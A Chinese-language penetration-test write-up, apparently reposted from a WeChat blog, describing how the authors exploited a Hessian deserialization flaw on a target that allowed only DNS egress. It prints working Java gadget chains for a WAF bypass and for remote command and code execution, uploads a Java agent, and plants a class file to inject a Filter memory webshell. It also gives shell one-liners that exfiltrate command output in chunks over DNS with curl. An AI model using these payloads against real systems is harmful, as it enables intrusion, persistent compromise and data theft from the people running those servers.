前言
某次攻防过程中我们发现了一个hessian反序列化漏洞,经过探测之后发现目标只有dns出网,tcp无法出网,然后我们开始了对目标的深度利用
waf绕过
首先目标存在一个waf,会拦截我们的Hessian反序列化数据,在我们以往的常规作战中,对于jdk反序列化漏洞我们一般使用组里c0ny1师傅之前分享过的反序列化炸弹:https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/
核心思想为把脏数据放在HashMap的第一个key-value中,把gadgat数据放在HashMap中的第二个key-value中,脏数据放一个大包。这样序列化后的数据构成中,脏数据在前面,gadgat在后面,一些waf由于性能原因在遇到大包时只能识别到前面部分的内容,以此绕过waf。
在hessian场景中原理一样,多加一组脏数据在Map的第一组数据中,下面是whwlsfb大哥构造脏数据序列化代码
static void serObj(Object hashtable1, Object hashtable2) throws Exception {
HashMap<Object, Object> s = new HashMap<Object, Object>();
Reflections.setFieldValue(s, "size", 3);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 3);
Hashtable<Object, Object> dummy = new Hashtable<Object, Object>();
for (int i = 0; i < 100; i++) {
dummy.put(GetRandomString(20, true) + i, GetRandomString(15000, true));
}
Array.set(tbl, 0, nodeCons.newInstance(0, dummy, dummy, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Reflections.setFieldValue(s, "table", tbl);
OutputStream os = new FileOutputStream("hessian.ser");
HessianOutput hessian2Output = new HessianOutput(os);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(s);
hessian2Output.flush();
hessian2Output.close();
}
后面成功bypass了目标waf
初试不出网利用链
之前和Whwlsfb师傅一起研究过hessian的不出网任意代码执行,文章链接:https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html,本以为直接上来就能把目标打了,后面发现用这种方式没有执行java代码,没办法只能慢慢调试原因。
首先我们回归最初始的一个poc,jdk中任意静态方法调用
serializerFactory.setAllowNonSerializable(true);
Object[] ags = new Object[]{"pxpx.xxxxxx.ipv6.1433.eu.org"};
UIDefaults.ProxyLazyValue swingLazyValue = new UIDefaults.ProxyLazyValue("java.net.InetAddress", "getByName", ags);
Reflections.setFieldValue(swingLazyValue, "acc", null);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<Object, Object>();
Hashtable<Object, Object> hashtable2 = new Hashtable<Object, Object>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
//hessian序列化
serObj(hashtable1, hashtable2);
通过该poc,dnslog上面收到了请求,证明了两点:1、目标dns出网 2、hessian的任意静态类调用poc没有问题
出网利用链尝试
接下来我调用了javax.naming.InitialContext中的静态类doLookup,想测试一下目标的tcp是否出网
serializerFactory.setAllowNonSerializable(true);
Object[] ags = new Object[]{"ldap://ip:port/"};
UIDefaults.ProxyLazyValue swingLazyValue = new UIDefaults.ProxyLazyValue("javax.naming.InitialContext", "doLookup", ags);
Reflections.setFieldValue(swingLazyValue, "acc", null);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<Object, Object>();
Hashtable<Object, Object> hashtable2 = new Hashtable<Object, Object>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
//hessian序列化
serObj(hashtable1, hashtable2);
比较遗憾的是目标的tcp并不出网,只有dns出网,所以并不能用jndi等需要出网的链去攻击目标
不优雅的命令执行
一般在我们的攻防场景中比较少使用命令执行,一般更倾向于去构造代码执行的漏洞场景。因为命令执行很容易被青藤之类的agent记录,还可能被一些rasp直接拦截阻断进而告警,导致攻防过程在一开始就“脏了”。不过这个场景在不出网和出网的代码执行链都失效之后只能硬着头皮尝试使用命令执行
poc参考:https://xz.aliyun.com/t/11961
该poc依赖了fastjson,所以我先使用以下poc探测fastjson是否存在
serializerFactory.setAllowNonSerializable(true);
Object[] ags = new Object[]{"{"@type":"java.net.Inet4Address","val":"test.dnslog.com"}"};
UIDefaults.ProxyLazyValue swingLazyValue = new UIDefaults.ProxyLazyValue("com.alibaba.fastjson.JSONObject", "parseObject", ags);
Reflections.setFieldValue(swingLazyValue, "acc", null);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<Object, Object>();
Hashtable<Object, Object> hashtable2 = new Hashtable<Object, Object>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
//hessian序列化
serObj(hashtable1, hashtable2);
dnslog收到了请求,说明fastjson是存在的,因此可以放心的使用该poc
String cmd = "nslookup `whoami`.xxx.ipv6.1433.eu.org";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
//绕过getDefaultPrinterNameBSD中的限制
//设置属性
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
//封装一个JSONObject对象调用getter方法
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
//使用XString类调用toString方法
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",jsonObject);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",jsonObject);
serObj(map1, map2);
通过以上poc探测出目标的的当前用户是普通用户。由之前打过这套系统的经验得知,这套系统一般为tomcat部署并且无法解析服务器部署后上传的jsp文件,因此无法使用命令行去找盲找web目录然后写入的方法。
尝试注入java agent内存马
这种情况下我们准备采用java agent内存马,首先第一步就是上传javaagent上去,这里我使用了https://xz.aliyun.com/t/11732文章中的链,把javaagent.jar传到了目标的/tmp/test.jar中:
byte[] bytes=Files.readAllBytes(Paths.get("/Users/MyComputer/javaagent.jar"));
serializerFactory.setAllowNonSerializable(true);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method dns = InetAddress.class.getMethod("getByName", String.class);
//Object[] ags = new Object[]{invoke, new Object(), new Object[]{dns, null, new Object[]{"pppp.96eaa3e7.ipv6.1433.eu.org"}}};
//sun.reflect.misc.MethodUtil.invoke()
// UIDefaults.ProxyLazyValue swingLazyValue = new UIDefaults.ProxyLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
Object[] ags = new Object[]{"/tmp/test.jar",bytes};
UIDefaults.ProxyLazyValue swingLazyValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", ags);
Reflections.setFieldValue(swingLazyValue, "acc", null);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<Object, Object>();
Hashtable<Object, Object> hashtable2 = new Hashtable<Object, Object>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
serObj(hashtable1, hashtable2);
然后使用执行系统命令Java -jar /tmp/test.jar,尝试连接shell,发现并没有注入成功,于是需要排查没注入成功的原因是什么。首先推测两点:
-
attach目标JVM没成功
-
修改目标类的时候由于未知原因失败了
在排查之前,我们首先需要解决命令执行的一些问题,此时我们虽然可以在目标上执行任意系统命令,但是无法看到我们命令执行的结果,这样对我们后续一系列工作显然是不利的。由于目标dns出网,我们考虑将我们命令执行的结果外带到dns上。
由于一些命令执行的结果可能有特殊符号,首先我们使用了Base64编码了执行结果然后拼接dnslog地址去外带,但目标的dns在递归解析的过程中将dns的域名都转化成了小写,同样我们base64编码的内容也变成了小写,这样导致了我们无法对结果进行解码。后面我们把Base64编码转换成了hex编码,解决了该问题,命令如下:
echo "$(ls -a /tmp/ 2>&1 | xxd -p -c 256 | sed 's/^(.{50}).*$/1/').xxxxxx.ipv6.1433.eu.org" | xargs curl
将dns返回的hex编码解码后,我们得到了部分的/tmp/目录中的文件名,之所以是部分是因为在命令中限制了返回结果长度为50,因为太长了dns可能带不回来。
能列出部分文件名后,我执行了以下命令
ls /tmp/|grep pid
发现目标存在/tmp/.java_pid2321文件,除此之外就没有其他的pid文件了,然后运行
ps -ef|grep pid
发现目标启动的这个pid进程不是我的目标web,所以代表我的目标web的pid文件被删了,因此我们的javaagent内存马attach不到目标的jvm中,这就是我们之前注入失败的原因,因此注入javaagent内存马这条路也失败了。
动态加载class执行
打到这时候为止,大部分的路都被堵死了。于是我们转换思路,尝试替换目标的一些模版类来触发目标web的任意代码执行从而注入内存马。不过在这之前,我们的命令执行回显还是不够强大,如果命令执行结果返回的内容较大由于dns传输长度限制,我们并不能获取到全部的内容。这显然不利于我们后面找目标的web目录等一系列过程。
这时思路转换为如何分块将命令执行的结果发送的dns,然后从本地从dnslog获取分块的结果再重组,获取到完整的命令执行内容。
用以下命令一句系统命令将执行的结果分块发送到dns。
echo "$(ls -a /opt 2>&1 | xxd -p -c 20 | awk '{print NR "." $0 ".dnslog.com"}')" |xargs -I {} curl {}
获取到的结果如下所示
然后本地调用dnslog平台的api拉取结果,以开头的标号为排序,重组hex内容然后进行解码,最终能得到一条完整的命令执行结果。
然后运行
ps -ef|grep java
得到回显的结果后,我们获取到了目标的web目录:/opt/xxx/xxx/xxx/tomcat_abc/
确定了目标是tomcat中间件后事情变得简单了起来,根据tomcat的特性,我的思路转变为向其WEB-INF/classes/中写入一个abcTest.class文件,然后调用某个静态方法去加载abcTest类然后实例化即可达成在目标web上下文中的任意代码执行,从而注入内存马。
于是我开始寻找有哪个静态方法可以加载指定类并实例化。
中间找到了一些静态类可以加载,但由于参数中需要传递classloader,classloader在hessian的序列化和反序列化的传递中传递不过去,遂放弃。(由于hessian在序列化和反序列化过程中有一些类型的类序列化或者反序列化有bug会抛错,所以看起来是任意静态方法调用,其实也不是所有的静态方法都方便我们调用,比如静态方法参数中有ClassLoader类,我们就传递不过去)
在寻找过程中想到了之前在调试hessian反序列化过程中的一个trick。
以上利用UIDefaults.ProxyLazyValue类来做hessian反序列化的调用堆栈如下(粘贴自:https://xz.aliyun.com/t/11732),调用到了UIDefaults$ProxyLazyValue.createValue方法
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
这里我们可控的是UIDefaults.ProxyLazyValue类的classname/methodName/args参数,那么我只要指定classname为abcTest,那么最后会调用到
c = Class.forName(className, true, (ClassLoader)cl);
forName方法的第二个参数为true,表示在类会实例化,从而触发代码执行
如下图可见
这时候我们的代码执行的上下文就是目标web的JVM上下文了,可以顺利的打入Filter内存马从而拿下该站点。
踩到的坑
在调用UIDefaults.ProxyLazyValue.createValue之前其实我找到的是SwingLazyValue.createValue,这里就翻车失败了
失败原因应该是classloader的问题,这里SwingLazyValue.createValue只能调用到rt.jar中的类,而我们的abcTest是写入到web目录中的,想要加载到他得是WebAppClassLoader才行。
而UIDefaults.ProxyLazyValue.createValue所使用的classloader为Thread.currentThread().getContextClassLoader(),我用heesian反序列化去触发,最后得到的是web上下文的classloader,因此他在加载class时会遍历web目录的classpath,从而加载到我写入classes目录中的abcTest.class,进而触发代码执行。
闭环
在拿下目标后进行,找到了目标的hessian jar包,为hessian3.x 对照目标jar的版本,我从网上下载了同版本进行测试我们之前失败的原生jdk的hessian反序列化任意代码执行链。发现在序列化的过程中就报了以下报错
经过debug后发现是在传递new Object()这个类时出现了意外,原poc如下
serializerFactory.setAllowNonSerializable(true);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"print", bcode, 0, bcode.length, null, null}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
ags是一个对象数组,第二个参数是一个new Object(),hessian3.x在序列化的时候在查找序列化其是当他要序列化的对象为new Object()中时会从一个map中找到一个序列化器BasicSerializer。这个BasicSerializer取出来就会报错,没啥操作空间。
其实序列化这一步就出了问题,反序列化也很难不出问题。不过我还是不死心,尝试用hessian2.x来序列化exp,然后再用hessian3.x反序列化时同样会产生报错。这样也就得出了之前我们利用失败的原因为exp无法兼容hessian3.x。由于最近事情比较多,准备过段时间闲下来了找一下原因,重新构造一个兼容性exp。
总结
极端环境下的利用需要以往积累的trick以及耐心的测试,没有打不死的站只有不努力的工程师。最后感谢whwlsfb师傅的一同测试,受益匪浅。
原文始发于微信公众号(长个新的脑袋):记某次实战hessian不出网反序列化利用
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论